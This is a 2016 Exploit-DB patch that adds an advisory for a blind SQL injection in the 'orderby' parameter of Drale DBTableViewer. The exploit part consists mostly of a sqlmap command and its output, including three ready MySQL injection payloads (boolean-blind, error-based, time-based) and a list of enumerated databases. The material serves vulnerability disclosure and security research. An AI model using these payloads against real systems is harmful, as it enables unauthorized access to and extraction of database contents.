From 74f927013eb131ccbdcce2c72d8b416ad86c6d3b Mon Sep 17 00:00:00 2001
From: Offensive Security <info@exploit-db.com>
Date: Thu, 9 Jun 2016 05:02:54 +0000
Subject: [PATCH] DB: 2016-06-09

1 new exploits

Drale DBTableViewer 100123 - Blind SQL Injection
---
 files.csv                       |  1 +
 platforms/php/webapps/39905.txt | 52 +++++++++++++++++++++++++++++++++
 2 files changed, 53 insertions(+)
 create mode 100755 platforms/php/webapps/39905.txt

diff --git a/files.csv b/files.csv
index 3045b570a..cd92c2484 100755
--- a/files.csv
+++ b/files.csv
@@ -36084,3 +36084,4 @@ id,file,description,date,author,platform,type,port
 39902,platforms/windows/local/39902.txt,"League of Legends Screensaver - Unquoted Service Path Privilege Escalation",2016-06-07,"Vincent Yiu",windows,local,0
 39903,platforms/windows/local/39903.txt,"League of Legends Screensaver - Insecure File Permissions Privilege Escalation",2016-06-07,"Vincent Yiu",windows,local,0
 39904,platforms/asp/webapps/39904.txt,"Cisco EPC 3928 - Multiple Vulnerabilities",2016-06-07,"Patryk Bogdan",asp,webapps,0
+39905,platforms/php/webapps/39905.txt,"Drale DBTableViewer 100123 - Blind SQL Injection",2016-06-08,HaHwul,php,webapps,80
diff --git a/platforms/php/webapps/39905.txt b/platforms/php/webapps/39905.txt
new file mode 100755
index 000000000..21604bae1
--- /dev/null
+++ b/platforms/php/webapps/39905.txt
@@ -0,0 +1,52 @@
+Drale DBTableViewer v100123 - Blind SQL Injection
+
+# Exploit Title: drale DBTableViewer - SQL Injection(Blind/Error Base)
+# Date: 2016-06-08
+# Exploit Author: HaHwul
+# Exploit Author Blog: www.hahwul.com
+# Vendor Homepage: http://drale.com/
+# Software Link: https://github.com/drale/DBTableViewer/archive/master.zip
+# Version: Drale DBTableViewer v100123
+# Tested on: Debian [wheezy]
+# CVE : none
+
+### VULNERABILITY
+"orderby" parameter in DBTableViewer is vulnerable.
+This parameter can be performed using blind injection.
+
+### SQLMAP QUERY
+#> sqlm -u "http://127.0.0.1/vul_test/DBTableViewer/?orderby=nice_name&sort=DESC" --level 4 --risk 3 --dbms=mysql
+
+### SQLMAP OUTPUT
+sqlmap identified the following injection points with a total of 727 HTTP(s) requests:
+---
+Parameter: orderby (GET)
+    Type: boolean-based blind
+    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
+    Payload: orderby=nice_name RLIKE (SELECT (CASE WHEN (1697=1697) THEN 0x6e6963655f6e616d65 ELSE 0x28 END))&sort=DESC
+
+    Type: error-based
+    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
+    Payload: orderby=nice_name AND EXTRACTVALUE(6590,CONCAT(0x5c,0x7162766a71,(SELECT (CASE WHEN (6590=6590) THEN 1 ELSE 0 END)),0x71787a7671))&sort=DESC
+
+    Type: AND/OR time-based blind
+    Title: MySQL >= 5.0 time-based blind - Parameter replace
+    Payload: orderby=(SELECT (CASE WHEN (6082=6082) THEN SLEEP(5) ELSE 6082*(SELECT 6082 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=DESC
+---
+[12:03:24] [INFO] the back-end DBMS is MySQL
+web server operating system: Linux Ubuntu
+web application technology: Apache 2.4.10
+back-end DBMS: MySQL 5.1
+....
+
+[12:07:33] [INFO] retrieved: zoph
+[12:07:33] [INFO] retrieved: zzzz
+available databases [25]:
+[*] "
+[*] ""
+[*] '
+[*] ''
+[*] '''
+[*] api
+[*] blackcat
+[*] edusec